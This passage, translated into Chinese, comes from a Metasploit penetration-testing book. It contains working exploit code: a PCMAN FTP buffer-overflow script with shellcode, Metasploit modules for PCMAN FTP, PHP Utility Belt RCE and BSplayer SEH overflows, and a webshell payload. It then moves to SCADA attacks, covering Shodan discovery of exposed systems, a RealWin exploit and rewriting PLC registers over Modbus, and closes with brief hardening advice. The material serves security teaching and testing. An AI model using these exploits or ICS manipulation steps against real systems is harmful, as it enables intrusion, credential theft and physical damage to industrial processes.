将利用移植到 Metasploit 的这一想法通过使独立脚本能够在广泛的网络上运行而不仅仅是单个系统上，从而节省时间。此外，由于每个利用都可以从 Metasploit 中访问，这使得渗透测试更有组织性。让我们了解如何在即将到来的章节中使用 Metasploit 实现可移植性。

导入基于堆栈的缓冲区溢出利用

在即将到来的示例中，我们将看到如何将用 Python 编写的利用导入 Metasploit。公开可用的利用可以从以下网址下载：www.exploit-db.com/exploits/31255/。让我们按照以下方式分析利用：

import socket as s 
from sys import argv 

host = "127.0.0.1" 
fuser = "anonymous" 
fpass = "anonymous" 
junk = '\x41' * 2008 
espaddress = '\x72\x93\xab\x71' 
nops = 'x90' * 10 
shellcode= ("\xba\x1c\xb4\xa5\xac\xda\xda\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x33\x31\x53\x12\x83\xeb\xfc\x03\x4f\xba\x47\x59\x93\x2a\x0e"
"\xa2\x6b\xab\x71\x2a\x8e\x9a\xa3\x48\xdb\x8f\x73\x1a\x89\x23"
"\xff\x4e\x39\xb7\x8d\x46\x4e\x70\x3b\xb1\x61\x81\x8d\x7d\x2d"
"\x41\x8f\x01\x2f\x96\x6f\x3b\xe0\xeb\x6e\x7c\x1c\x03\x22\xd5"
"\x6b\xb6\xd3\x52\x29\x0b\xd5\xb4\x26\x33\xad\xb1\xf8\xc0\x07"
"\xbb\x28\x78\x13\xf3\xd0\xf2\x7b\x24\xe1\xd7\x9f\x18\xa8\x5c"
"\x6b\xea\x2b\xb5\xa5\x13\x1a\xf9\x6a\x2a\x93\xf4\x73\x6a\x13"
"\xe7\x01\x80\x60\x9a\x11\x53\x1b\x40\x97\x46\xbb\x03\x0f\xa3"
"\x3a\xc7\xd6\x20\x30\xac\x9d\x6f\x54\x33\x71\x04\x60\xb8\x74"
"\xcb\xe1\xfa\x52\xcf\xaa\x59\xfa\x56\x16\x0f\x03\x88\xfe\xf0"
"\xa1\xc2\xec\xe5\xd0\x88\x7a\xfb\x51\xb7\xc3\xfb\x69\xb8\x63"
"\x94\x58\x33\xec\xe3\x64\x96\x49\x1b\x2f\xbb\xfb\xb4\xf6\x29"
"\xbe\xd8\x08\x84\xfc\xe4\x8a\x2d\x7c\x13\x92\x47\x79\x5f\x14"
"\xbb\xf3\xf0\xf1\xbb\xa0\xf1\xd3\xdf\x27\x62\xbf\x31\xc2\x02"
 "\x5a\x4e")

sploit = junk+espaddress+nops+shellcode
conn = s.socket(s.AF_INET,s.SOCK_STREAM)
conn.connect((host,21))
conn.send('USER '+fuser+'\r\n')
uf = conn.recv(1024)
conn.send('PASS '+fpass+'\r\n')
pf = conn.recv(1024)
conn.send('CWD '+sploit+'\r\n')
cf = conn.recv(1024)
conn.close()

这个简单的利用通过匿名凭据登录到端口21上的 PCMAN FTP 2.0 软件，并使用CWD命令利用软件。

前一个利用的整个过程可以分解为以下一系列要点：

1. 将用户名、密码和主机存储在fuser、pass和host变量中。

2. 将junk变量分配为2008个 A 字符。这里，2008是覆盖 EIP 的偏移量。

3. 将 JMP ESP 地址分配给espaddress变量。这里，espaddress 0x71ab9372是目标返回地址。

4. 在nops变量中存储 10 个 NOPs。

5. 将执行计算器的有效载荷存储在shellcode变量中。

6. 将junk、espaddress、nops和shellcode连接起来，并将它们存储在sploit变量中。

7. 使用s.socket(s.AF_INET,s.SOCK_STREAM)建立套接字，并使用connect((host,21))连接到端口 21 的主机。

8. 使用USER和PASS提供fuser和fpass以成功登录到目标。

9. 发出CWD命令，然后跟上sploit变量。这将导致在偏移量为2008处覆盖 EIP，并弹出计算器应用程序。

10. 让我们尝试执行利用并分析结果如下：

原始利用从命令行获取用户名、密码和主机。然而，我们修改了机制，使用了固定的硬编码值。

一旦我们执行了利用，就会出现以下屏幕：

我们可以看到计算器应用程序已经弹出，这表明利用正在正确工作。

收集基本要素

让我们找出从前面的利用中需要获取哪些基本值，以便从下表中生成 Metasploit 中等效模块：

序列号	变量	值
1	偏移值	2008
2	使用 JMP ESP 搜索在可执行模块中找到的目标返回/跳转地址/值	0x71AB9372
3	目标端口	21
4	用于删除不规则性的前导 NOP 字节到 shellcode 的数量	10
5	逻辑	CWD命令后跟着 2008 字节的垃圾数据，然后是 EIP、NOPs 和 shellcode

我们有构建 Metasploit 模块所需的所有信息。在下一节中，我们将看到 Metasploit 如何辅助 FTP 进程以及在 Metasploit 中创建利用模块有多么容易。

生成一个 Metasploit 模块

构建 Metasploit 模块的最佳方法是复制现有的类似模块并对其进行更改。但是，Mona.py脚本也可以动态生成特定于 Metasploit 的模块。我们将在本书的后面部分看到如何使用Mona.py脚本生成快速利用。

现在让我们看一下 Metasploit 中利用的等效代码：

class MetasploitModule < Msf::Exploit::Remote 
  Rank = NormalRanking 

  include Msf::Exploit::Remote::Ftp 

  def initialize(info = {}) 
    super(update_info(info, 
      'Name'           => 'PCMAN FTP Server Post-Exploitation CWD Command', 
      'Description'    => %q{ 
          This module exploits a buffer overflow vulnerability in PCMAN FTP 
      }, 
      'Author'         => 
          [ 
            'Nipun Jaswal' 
          ], 
      'DefaultOptions' => 
        { 
          'EXITFUNC' => 'process', 
          'VERBOSE'  => true 
        }, 
      'Payload'        => 
        { 
          'Space'   => 1000, 
          'BadChars'  => "\x00\xff\x0a\x0d\x20\x40", 
        }, 
      'Platform'       => 'win', 
      'Targets'        => 
        [ 
          [ 'Windows XP SP2 English', 
            { 
              'Ret' => 0x71ab9372, 
              'Offset' => 2008 
            } 
          ], 
        ], 
      'DisclosureDate' => 'May 9 2016', 
      'DefaultTarget'  => 0)) 
register_options( 
        [ 
                Opt::RPORT(21), 
         OptString.new('FTPPASS', [true, 'FTP Password', 'anonymous']) 
        ]) 
  End 

在上一章中，我们处理了许多利用模块。这个利用也不例外。我们首先包含了所有必需的库和/lib/msf/core/exploit目录中的ftp.rb库。接下来，在initialize部分中分配了所有必要的信息。从利用中收集必要的信息后，我们将Ret分配为返回地址，并将Offset设置为2008。我们还将FTPPASS选项的值声明为'anonymous'。让我们看看下一节代码：

def exploit 
    c = connect_login 
    return unless c 
    sploit = rand_text_alpha(target['Offset']) 
    sploit << [target.ret].pack('V') 
    sploit << make_nops(10) 
    sploit << payload.encoded 
    send_cmd( ["CWD " + sploit, false] ) 
    disconnect 
  end 
end 

connect_login方法将连接到目标并尝试使用我们提供的匿名凭据登录软件。但等等！我们什么时候提供了凭据？模块的FTPUSER和FTPPASS选项会自动启用，包括 FTP 库。FTPUSER的默认值是anonymous。但是，对于FTPPASS，我们已经在register_options中提供了值anonymous。

接下来，我们使用rand_text_alpha生成2008的垃圾数据，使用Targets字段中的Offset值，并将其存储在sploit变量中。我们还使用pack('V')函数将Targets字段中的Ret值以小端格式存储在sploit变量中。将make_nop函数生成的 NOP 连接到 shellcode 中，我们将其存储到sploit变量中。我们的输入数据已经准备好供应。

接下来，我们只需使用 FTP 库中的send_cmd函数将sploit变量中的数据发送到CWD命令的目标。那么，Metasploit 有什么不同之处呢？让我们看看：

• 我们不需要创建垃圾数据，因为rand_text_aplha函数已经为我们完成了。

• 我们不需要以小端格式提供Ret地址，因为pack('V')函数帮助我们转换了它。

• 我们从未需要手动指定 NOP，因为make_nops会自动为我们完成。

• 我们不需要提供任何硬编码的 shellcode，因为我们可以在运行时决定和更改有效载荷。这样可以节省时间，消除了对 shellcode 的手动更改。

• 我们简单地利用 FTP 库创建并连接套接字。

• 最重要的是，我们不需要使用手动命令连接和登录，因为 Metasploit 使用单个方法connect_login为我们完成了这些。

利用 Metasploit 对目标应用程序

我们看到使用 Metasploit 比现有的利用更有益。让我们利用应用程序并分析结果：

我们可以看到FTPPASS和FTPUSER已经设置为anonymous。让我们按照以下方式提供RHOST和有效载荷类型来利用目标机器：

我们可以看到我们的利用成功执行。Metasploit 还提供了一些额外的功能，使利用更加智能。我们将在下一节看到这些功能。

在 Metasploit 中实现利用的检查方法

在 Metasploit 中，可以在利用易受攻击的应用程序之前检查易受攻击的版本。这非常重要，因为如果目标运行的应用程序版本不易受攻击，可能会导致应用程序崩溃，利用目标的可能性变为零。让我们编写一个示例检查代码，检查我们在上一节中利用的应用程序的版本。

  def check 
    c = connect_login 
    disconnect 
    if c and banner =~ /220 PCMan's FTP Server 2\.0/ 
      vprint_status("Able to authenticate, and banner shows the vulnerable version") 
      return Exploit::CheckCode::Appears 
     elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/ 
      vprint_status("Unable to authenticate, but banner shows the vulnerable version") 
      return Exploit::CheckCode::Appears 
    end 
    return Exploit::CheckCode::Safe 
  end 

我们通过调用connect_login方法开始check方法。这将建立与目标的连接。如果连接成功并且应用程序返回横幅，我们将使用正则表达式将其与受影响的应用程序的横幅进行匹配。如果匹配成功，我们将使用Exploit::Checkcode::Appears标记应用程序为易受攻击。但是，如果我们无法进行身份验证但横幅是正确的，我们将返回相同的Exploit::Checkcode::Appears值，表示应用程序易受攻击。如果所有这些检查都失败，我们将返回Exploit::CheckCode::Safe，标记应用程序为不易受攻击。

通过发出check命令，让我们看看应用程序是否易受攻击：

我们可以看到应用程序是易受攻击的。我们可以继续进行利用。

有关实现check方法的更多信息，请参阅：github.com/rapid7/metasploit-framework/wiki/How-to-write-a-check%28%29-method。

将基于 Web 的 RCE 导入 Metasploit

在本节中，我们将看看如何将 Web 应用程序漏洞导入 Metasploit。本章的重点将是掌握与不同编程语言中使用的基本功能相当的功能。在本例中，我们将看看 2015 年 12 月 8 日披露的 PHP 实用工具包远程代码执行漏洞。可从以下网址下载受影响的应用程序：www.exploit-db.com/apps/222c6e2ed4c86f0646016e43d1947a1f-php-utility-belt-master.zip。

远程代码执行漏洞位于POST请求的code参数中，当使用特制数据操纵时，可能导致服务器端代码的执行。让我们看看如何手动利用这个漏洞：

我们在前面的屏幕截图中使用的命令是fwrite，它用于将数据写入文件。我们使用fwrite以可写模式打开名为info.php的文件。我们向文件中写入<?php $a = "net user"; echo shell_exec($a);?>。

当我们的命令运行时，它将创建一个名为info.php的新文件，并将 PHP 内容放入该文件。接下来，我们只需要浏览info.php文件，就可以看到命令的结果。

让我们按以下方式浏览info.php文件：

我们可以看到所有用户帐户都列在info.php页面上。要为 PHP 工具包远程代码执行漏洞编写 Metasploit 模块，我们需要向页面发出 GET/POST 请求。我们需要发出一个请求，在该请求中，我们将我们的恶意数据 POST 到易受攻击的服务器上，并可能获得 meterpreter 访问。

收集必要的信息

在 Metasploit 中利用基于 Web 的漏洞时，最重要的事情是弄清楚 Web 方法，弄清楚使用这些方法的方式，以及弄清楚要传递给这些方法的参数。此外，我们需要知道的另一件事是受攻击的文件的确切路径。在这种情况下，我们知道漏洞存在于CODE参数中。

掌握重要的 Web 功能

在 Web 应用程序的上下文中，重要的 Web 方法位于/lib/msf/core/exploit/http下的client.rb库文件中，进一步链接到/lib/rex/proto/http下的client.rb和client_request.rb文件，其中包含与GET和POST请求相关的核心变量和方法。

/lib/msf/core/exploit/http/client.rb库文件中的以下方法可用于创建 HTTP 请求：

send_request_raw和send_request_cgi方法在不同的上下文中进行 HTTP 请求时是相关的。

我们有send_request_cgi，在某些情况下比传统的send_request_raw函数提供了更多的灵活性，而send_request_raw有助于建立更直接的连接。我们将在接下来的部分讨论这些方法。

要了解我们需要传递给这些函数的数值，我们需要调查REX库。REX库提供了与请求类型相关的以下标头：

通过使用前述参数，我们可以传递与我们的请求相关的各种值。一个例子是设置我们特定的 cookie 和我们选择的其他参数。让我们保持简单，专注于URI参数，即可利用的 Web 文件的路径。

method参数指定它是GET还是POST类型的请求。在获取/发布数据到目标时，我们将使用这些。

GET/POST 方法的基本要点

GET方法将请求数据或来自指定资源的网页，并用它来浏览网页。另一方面，POST命令将来自表单或特定值的数据发送到资源进行进一步处理。现在，在编写基于 Web 的利用时，这非常方便。HTTP 库简化了将特定查询或数据发布到指定页面。

让我们看看我们需要在这个利用中执行的操作：

1. 创建一个POST请求

2. 使用CODE参数将我们的有效载荷发送到易受攻击的应用程序

3. 获取目标的 Meterpreter 访问权限

4. 执行一些后期利用功能

我们清楚我们需要执行的任务。让我们进一步迈出一步，生成一个兼容的匹配利用，并确认它是否有效。

将 HTTP 利用导入 Metasploit

让我们按照以下方式编写 Metasploit 中 PHP 实用程序皮带远程代码执行漏洞的利用：

class MetasploitModule < Msf::Exploit::Remote 

  include Msf::Exploit::Remote::HttpClient 

  def initialize(info = {}) 
    super(update_info(info, 
      'Name'           => 'PHP Utility Belt Remote Code Execution', 
      'Description'    => %q{ 
         This module exploits a remote code execution vulnerability in PHP Utility Belt 
      }, 
      'Author'         => 
        [ 
          'Nipun Jaswal', 
        ], 
      'DisclosureDate' => 'May 16 2015', 
      'Platform'       => 'php', 
      'Payload'        => 
        { 
          'Space'       => 2000, 
          'DisableNops' => true 
        }, 
      'Targets'        => 
        [ 
          ['PHP Utility Belt', {}] 
        ], 
      'DefaultTarget'  => 0 
    )) 

    register_options( 
      [ 
        OptString.new('TARGETURI', [true, 'The path to PHP Utility Belt', '/php-utility-belt/ajax.php']), 
   OptString.new('CHECKURI',[false,'Checking Purpose','/php-utility-belt/info.php']), 
      ]) 
  end 

我们可以看到我们已经声明了所有必需的库，并在初始化部分提供了必要的信息。由于我们正在利用基于 PHP 的漏洞，我们选择平台为 PHP。我们将DisableNops设置为 true，以关闭有效载荷中的NOP使用，因为利用针对的是 Web 应用程序中的远程代码执行漏洞，而不是基于软件的漏洞。我们知道漏洞存在于ajax.php文件中。因此，我们将TARGETURI的值声明为ajax.php文件。我们还创建了一个名为CHECKURI的新字符串变量，它将帮助我们为利用创建一个检查方法。让我们看一下利用的下一部分：

def check 
  send_request_cgi( 
      'method'    => 'POST', 
      'uri'       => normalize_uri(target_uri.path), 
      'vars_post' => { 
        'code' => "fwrite(fopen('info.php','w'),'<?php echo phpinfo();?>');" 
      } 
   ) 
  resp = send_request_raw({'uri' => normalize_uri(datastore['CHECKURI']),'method' => 'GET'}) 
  if resp.body =~ /phpinfo()/ 
   return Exploit::CheckCode::Vulnerable 
  else 
   return Exploit::CheckCode::Safe 
  end 
  end 

我们使用send_request_cgi方法以高效的方式容纳POST请求。我们将方法的值设置为POST，将 URI 设置为规范化格式中的目标 URI，并将POST参数CODE的值设置为fwrite(fopen('info.php','w'),'<?php echo phpinfo();?>');。这个有效载荷将创建一个名为info.php的新文件，同时编写代码，当执行时将显示一个 PHP 信息页面。我们创建了另一个请求，用于获取我们刚刚创建的info.php文件的内容。我们使用send_request_raw技术并将方法设置为GET来执行此操作。我们之前创建的CHECKURI变量将作为此请求的 URI。

我们可以看到我们将请求的结果存储在resp变量中。接下来，我们将resp的主体与phpinfo()表达式进行匹配。如果结果为真，将表示info.php文件已成功创建到目标上，并且Exploit::CheckCode::Vulnerable的值将返回给用户，显示标记目标为易受攻击的消息。否则，它将使用Exploit::CheckCode::Safe将目标标记为安全。现在让我们进入利用方法：

  def exploit 
    send_request_cgi( 
      'method'    => 'POST', 
      'uri'       => normalize_uri(target_uri.path), 
      'vars_post' => { 
        'code' => payload.encoded 
      } 
    ) 
  end 
end 

我们可以看到我们刚刚创建了一个带有我们有效载荷的简单POST请求。一旦它在目标上执行，我们就会获得 PHP Meterpreter 访问权限。让我们看看这个利用的效果：

我们可以看到我们已经在目标机器上获得了 Meterpreter 访问权限。我们已成功将远程代码执行漏洞转换为 Metasploit 中的可工作利用。

官方的 Metasploit 模块已经存在于 PHP 实用工具包中。您可以从以下链接下载利用：www.exploit-db.com/exploits/39554/。

将 TCP 服务器/基于浏览器的利用导入 Metasploit

在接下来的部分中，我们将看到如何将基于浏览器或 TCP 服务器的利用导入 Metasploit。

在应用程序测试或渗透测试期间，我们可能会遇到无法解析请求/响应数据并最终崩溃的软件。让我们看一个在解析数据时存在漏洞的应用程序的例子：

本例中使用的应用程序是 BSplayer 2.68。我们可以看到我们有一个监听端口81的 Python 利用。当用户尝试从 URL 播放视频时，漏洞在解析远程服务器的响应时出现。让我们看看当我们尝试从端口81上的监听器中流式传输内容时会发生什么：

我们可以看到计算器应用程序弹出，这表明利用成功运行。

从以下链接下载 BSplayer 2.68 的 Python 利用：www.exploit-db.com/exploits/36477/。

让我们看一下利用代码，并收集构建 Metasploit 模块所需的基本信息：

这个利用很简单。然而，利用的作者使用了向后跳转技术来找到由有效载荷传递的 shellcode。这种技术用于对抗空间限制。这里需要注意的另一件事是，作者发送了恶意缓冲区两次来执行有效载荷，这是由于漏洞的性质。让我们尝试在下一节中建立一个表，列出我们转换这个利用为 Metasploit 兼容模块所需的所有数据。

收集基本要素

让我们看一下下表，突出显示了所有必要的值及其用法：

序列号	变量	值
1	偏移值	2048
2	内存中已知包含 POP-POP-RETN 系列指令/P-P-R 地址的位置	0x0000583b
3	向后跳转/长跳转以找到 shellcode	\xe9\x85\xe9\xff\xff
4	短跳转/指向下一个 SEH 帧的指针	\xeb\xf9\x90\x90

现在我们已经拥有构建 BSplayer 2.68 应用的 Metasploit 模块的所有基本要素。我们可以看到作者在2048 NOP 之后精确放置了 shellcode。然而，这并不意味着实际的偏移值是2048。利用的作者将其放置在 SEH 覆盖之前，因为可能没有空间留给 shellcode。然而，我们将采用这个值作为偏移量，因为我们将按照原始利用的确切过程进行。此外，\xcc是一个断点操作码，但在这个利用中，它被用作填充。jmplong变量存储了向后跳转到 shellcode，因为存在空间限制。nseh变量存储了下一个帧的地址，这只是一个短跳转，正如我们在上一章中讨论的那样。seh变量存储了P/P/R指令序列的地址。

在这种情况下需要注意的一个重要点是，我们需要目标机器连接到我们的利用服务器，而不是我们试图连接到目标机器。因此，我们的利用服务器应该始终监听传入的连接，并根据请求传递恶意内容。

生成 Metasploit 模块

让我们开始在 Metasploit 中编写我们的漏洞的编码部分：

class MetasploitModule < Msf::Exploit::Remote 
  Rank = NormalRanking 

  include Msf::Exploit::Remote::TcpServer 

  def initialize(info={}) 
    super(update_info(info, 
      'Name'           => "BsPlayer 2.68 SEH Overflow Exploit", 
      'Description'    => %q{ 
        Here's an example of Server Based Exploit 
      }, 
      'Author'         => [ 'Nipun Jaswal' ], 
      'Platform'       => 'win', 
      'Targets'        => 
        [ 
          [ 'Generic', {'Ret' => 0x0000583b, 'Offset' => 2048} ], 
        ], 
      'Payload'  =>  
       { 
       'BadChars' => "\x00\x0a\x20\x0d" 
       }, 
      'DisclosureDate' => "May 19 2016", 
      'DefaultTarget'  => 0)) 
  end 

通过与许多漏洞一起工作，我们可以看到前面的代码部分并无不同，除了来自/lib/msf/core/exploit/tcp_server.rb的 TCP 服务器库文件。TCP 服务器库提供了处理传入请求并以各种方式处理它们所需的所有必要方法。包含此库使得额外选项如SRVHOST、SRVPORT和SSL成为可能。让我们看看代码的剩余部分：

def on_client_connect(client) 
return if ((p = regenerate_payload(client)) == nil) 
    print_status("Client Connected") 
    sploit = make_nops(target['Offset']) 
    sploit << payload.encoded 
    sploit << "\xcc" * (6787-2048 - payload.encoded.length)  
    sploit << "\xe9\x85\xe9\xff\xff"  
    sploit << "\xeb\xf9\x90\x90" 
    sploit << [target.ret].pack('V') 
    client.put(sploit) 
    client.get_once 
    client.put(sploit) 
    handler(client) 
    service.close_client(client) 
  end 
end 

我们可以看到，我们没有这种类型漏洞的漏洞方法。但是，我们有on_client_connect、on_client_data和on_client_disconnect方法。最有用且最简单的是on_client_connect方法。一旦客户端连接到所选的SRVHOST和SRVPORT上的漏洞服务器，此方法将被触发。

我们可以看到，我们使用make_nops以 Metasploit 的方式创建了 NOPs，并使用payload.encoded嵌入了有效载荷，从而消除了硬编码有效载荷的使用。我们使用了类似于原始漏洞的方法组装了sploit变量的其余部分。然而，为了在请求时将恶意数据发送回目标，我们使用了client.put()，它将以我们选择的数据回应目标。由于漏洞需要将数据两次发送到目标，我们使用了client.get_once来确保数据被发送两次，而不是合并成单个单元。将数据两次发送到目标，我们触发了主动寻找来自成功利用的传入会话的处理程序。最后，我们通过发出service.client_close调用来关闭与目标的连接。

我们可以看到我们在代码中使用了client对象。这是因为来自特定目标的传入请求将被视为单独的对象，并且还将允许多个目标同时连接。

让我们看看我们的 Metasploit 模块的运行情况：

让我们从 BSplayer 2.8 连接到端口8080上的漏洞服务器，方法如下：

一旦有连接尝试连接到我们的漏洞处理程序，Meterpreter 有效载荷将传递到目标，并且我们将看到以下屏幕：

中奖！Meterpreter shell 现在可访问。我们成功地使用 TCP 服务器库在 Metasploit 中编写了一个漏洞服务器模块。在 Metasploit 中，我们还可以使用 HTTP 服务器库建立 HTTP 服务器功能。

有关更多 HTTP 服务器功能，请参阅：github.com/rapid7/metasploit-framework/raw/master/lib/msf/core/exploit/http/server.rb。

总结

在移植漏洞的头脑风暴练习中，我们现在已经开发了在 Metasploit 中导入各种漏洞的方法。通过阅读本章，我们学会了如何轻松地将不同类型的漏洞移植到框架中。在本章中，我们开发了从独立漏洞中找出必要要素的机制。我们看到了各种 HTTP 功能及其在利用中的用法。我们还复习了基于 SEH 的漏洞利用以及如何构建漏洞服务器。

您可以尝试以下练习：

• 从以下网站将 10 个漏洞移植到 Metasploit：exploit-db.com/

• 至少开发 3 个浏览器漏洞并将它们移植到 Metasploit

• 尝试创建自己的自定义 shellcode 模块并将其移植到 Metasploit

到目前为止，我们已经涵盖了大部分漏洞编写练习。在下一章中，我们将看到如何利用 Metasploit 对各种服务进行渗透测试，包括 VOIP、DBMS、SCADA 等。

第十五章：使用 Metasploit 测试服务

现在让我们来谈谈测试各种专业服务。作为渗透测试人员，你可能会遇到一个只需要在数据库、VOIP 或 SCADA 等服务中进行测试的可测试环境。在本章中，我们将探讨在进行这些服务的渗透测试时使用的各种发展策略。在本章中，我们将涵盖以下内容：

• 理解 SCADA 的利用

• ICS 的基础知识及其关键性质

• 进行数据库渗透测试

• 测试 VOIP 服务

基于服务的渗透测试需要敏锐的技能和对我们可以成功利用的服务的深刻理解。因此，在本章中，我们将探讨在服务导向的渗透测试中可能面临的理论和实际挑战。

测试 SCADA 系统的基础知识

监控控制和数据采集（SCADA）是软件和硬件元素的组合，用于控制大坝、发电站、炼油厂、大型服务器控制服务等活动。

SCADA 系统是为高度特定的任务而构建的，例如控制分派水的水平，控制天然气管道，控制电力网以管理特定城市的电力以及各种其他操作。

ICS 和其组件的基础知识

SCADA 系统是工业控制系统（ICS）系统，用于关键环境或生命受到威胁的地方。工业控制系统负责控制各种过程，例如在特定比例中混合两种化学品，将二氧化碳注入特定环境，向锅炉中加入适量的水等。

这些 SCADA 系统的组件如下：

组件	用途
远程终端单元（RTU）	RTU 是将模拟测量转换为数字信息的设备。此外，用于通信的最广泛使用的协议是ModBus。
可编程逻辑控制器（PLC）	PLC 与 I/O 服务器和实时操作系统集成；它的工作方式与 RTU 完全相同。它还使用诸如 FTP 和 SSH 的协议。
人机界面（HMI）	HMI 是环境的图形表示，由 SCADA 系统观察或控制。HMI 是 GUI 界面，也是攻击者利用的一个领域。
智能电子设备（IED）	IED 是一个微芯片，或更具体地说是一个控制器，可以发送命令执行特定操作，例如在特定物质的特定量混合后关闭阀门。

ICS-SCADA 的重要性

ICS 系统非常关键，如果它们的控制权落入错误的手中，可能会发生灾难性的情况。想象一下，如果一个恶意行为者黑客入侵了天然气管道的 ICS 控制，我们不仅会遭受服务拒绝，甚至可能会造成 SCADA 系统的损坏，甚至导致生命的丧失。你可能看过电影《虎胆龙威 4.0》，在电影中，黑客们重定向天然气管道到特定站点看起来很酷，交通混乱似乎是一种乐趣的来源。然而，在现实中，当出现这样的情况时，它将对财产造成严重损害，并可能导致生命的丧失。

正如我们过去所看到的，随着Stuxnet 蠕虫的出现，关于 ICS 和 SCADA 系统安全性的讨论已经受到严重侵犯。让我们进一步讨论如何侵入 SCADA 系统或测试它们，以便为更美好的未来保护它们。

利用 SCADA 服务器中的 HMI

在本节中，我们将讨论如何测试 SCADA 系统的安全性。我们有很多框架可以测试 SCADA 系统，但考虑到所有这些都会超出本书的范围。因此，为了简化起见，我们将继续讨论使用 Metasploit 进行 SCADA HMI 利用的特定内容。

SCADA 测试基础

让我们了解利用 SCADA 系统的基础知识。SCADA 系统可以使用 Metasploit 中最近添加到框架中的各种漏洞进行妥协。一些位于互联网上的 SCADA 服务器可能具有默认的用户名和密码。然而，由于安全性的提高，找到具有默认凭据的服务器的可能性极小，但这可能是一种可能性。

像shodan.io这样的流行互联网扫描网站是寻找面向互联网的 SCADA 服务器的绝佳资源；让我们看看我们需要执行哪些步骤来将 Shodan 与 Metasploit 集成：

首先，我们需要在shodan.io网站上创建一个帐户：

1. 注册后，我们可以在我们的帐户中轻松找到我们的 API 密钥。获取 API 密钥后，我们可以在 Metasploit 中搜索各种服务。

2. 启动 Metasploit 并加载auxiliary/gather/shodan_search模块。

3. 在模块中设置SHODAN_API密钥选项为您帐户的 API 密钥。

4. 让我们尝试使用由 Rockwell Automation 开发的系统来查找 SCADA 服务器，将QUERY选项设置为Rockwell，如下截图所示：

1. 我们设置了所需的SHODAN_APIKEY选项和QUERY选项，如前面的截图所示。让我们通过运行模块来分析结果：

我们发现许多通过 Rockwell Automation 使用 Metasploit 模块轻松运行 SCADA 服务的系统。然而，最好不要尝试对你一无所知的网络进行任何攻击，尤其是你没有权限的网络。

基于 SCADA 的利用

最近，我们看到 SCADA 系统受到的利用率远高于过去。SCADA 系统可能受到各种漏洞的影响，如基于堆栈的溢出、整数溢出、跨站脚本和 SQL 注入。

此外，这些漏洞可能对生命和财产造成危险，正如我们之前讨论的那样。SCADA 设备被黑客攻击的可能性主要在于 SCADA 开发人员和操作人员的粗心编程和糟糕的操作程序。

让我们看一个 SCADA 服务的例子，并尝试使用 Metasploit 进行利用。在下面的案例中，我们将使用 Metasploit 在基于 Windows XP 系统的 DATAC RealWin SCADA Server 2.0 系统上进行利用。

该服务在端口912上运行，容易受到sprintf C 函数的缓冲区溢出的影响。sprintf函数在 DATAC RealWin SCADA 服务器的源代码中用于显示从用户输入构造的特定字符串。当攻击者滥用这个易受攻击的函数时，可能导致目标系统完全被攻陷。

让我们尝试使用 Metasploit 利用exploit/windows/scada/realwin_scpc_initialize漏洞来利用 DATAC RealWin SCADA Server 2.0，如下所示：

我们将 RHOST 设置为192.168.10.108，有效载荷设置为windows/meterpreter/bind_tcp。DATAC RealWin SCADA 的默认端口是912。让我们利用目标并检查我们是否可以利用这个漏洞：

太棒了！我们成功地利用了目标。让我们加载mimikatz模块以找到系统的明文密码，如下所示：

我们可以看到，通过发出kerberos命令，我们可以找到明文密码。我们将在本书的后半部分进一步讨论mimikatz功能和其他附加库。

攻击 Modbus 协议

大多数 SCADA 服务器都位于内部/空隔网络中。但是，考虑一种可能性，即攻击者已经获得了对面向互联网的服务器的初始访问权限，并从同一服务器进行了枢纽转移；他可以更改 PLC 的状态，读取和写入控制器的值，并造成混乱。让我们看一个示例来演示这一点：

在前面的屏幕截图中，我们可以看到攻击者已经访问了 IP 范围为192.168.174.0的系统，并已经识别并添加了一个到内部网络范围192.168.116.0的路由。

此时，攻击者将在内部网络中的主机上执行端口扫描。假设我们在内部网络中找到了一个 IP 为192.168.116.131的系统。这里需要进行广泛的端口扫描，因为不良做法可能会导致严重问题。让我们看看如何在这种情况下执行端口扫描：

我们可以看到，前面的扫描不是常规扫描。我们使用了-n开关来禁用 DNS 解析。-sT开关表示使用扫描延迟为 1 秒的 TCP 连接扫描，这意味着端口将按顺序逐个进行扫描。Nmap 扫描产生了以下结果：

端口号502是标准的 Modbus/TCP 服务器端口，允许与 SCADA 软件中的 PLC 进行通信。有趣的是，我们有一个 Metasploit modbusclient模块，可以与 Modbus 端口通信，并可能允许我们更改 PLC 中寄存器的值。让我们看一个例子：

我们可以看到，辅助模块的默认操作是读取寄存器。将四个寄存器设置为DATA_ADDRESS将产生存储在第四个数据寄存器中的值。我们可以看到值为0。让我们尝试在DATA_ADDRESS 3处的不同寄存器上进行操作：

嗯，将值设置为3会读取56作为输出，这意味着第三个数据寄存器中的值为56。我们可以将这个值视为温度，如下图所示：

攻击者可以通过将辅助模块的操作更改为WRITE_REGISTERS来改变这些值，如下面的屏幕截图所示：

让我们看看我们是否可以将值写入寄存器：

我们可以看到，值已经成功更改，这也意味着在 HMI 上温度读数可能会不可避免地增加，如下图所示：

前面的示例界面仅用于说明目的，以及展示 SCADA 和 ICS 系统的重要性。我们还可以通过将操作设置为READ_COILS来操纵线圈中的值。此外，我们可以通过将NUMBER选项设置如下来读取/写入多个寄存器和线圈中的数据：

我们在 Metasploit 中有很多专门针对 SCADA 系统漏洞的利用。要了解有关这些漏洞的更多信息，您可以参考 SCADA 黑客和安全网站上关于这些漏洞的最重要资源：www.scadahacker.com。您应该能够在scadahacker.com/resources/msf-scada.html的msf-scada部分下找到许多列出的利用。

保护 SCADA

对 SCADA 网络进行安全保护是任何渗透测试人员的首要目标。让我们进入下一部分，学习如何安全实施 SCADA 服务并对其进行限制。

实施安全的 SCADA

在实际执行 SCADA 安全时，确保 SCADA 系统的安全性是一项艰巨的任务；然而，我们可以在确保 SCADA 系统安全时寻找以下一些关键点：

• 密切关注对 SCADA 网络的每一次连接，并检查是否有任何未经授权的尝试

• 确保所有网络连接在不需要时都被断开

• 实施系统供应商提供的所有安全功能

• 为内部和外部系统实施 IDPS 技术，并应用 24 小时的事件监控

• 记录所有网络基础设施，并为管理员和编辑者定义个别角色

• 建立 IR 团队和蓝队，定期识别攻击向量

限制网络

在未经授权访问、不需要的开放服务等攻击事件发生时，网络可以进行调整。通过删除或卸载服务来实施治疗是对各种 SCADA 攻击的最佳防御。

SCADA 系统主要部署在 Windows XP 系统上，这显著增加了攻击面。如果您部署了 SCADA 系统，请确保您的 Windows 系统是最新的，以防止更常见的攻击。

数据库利用

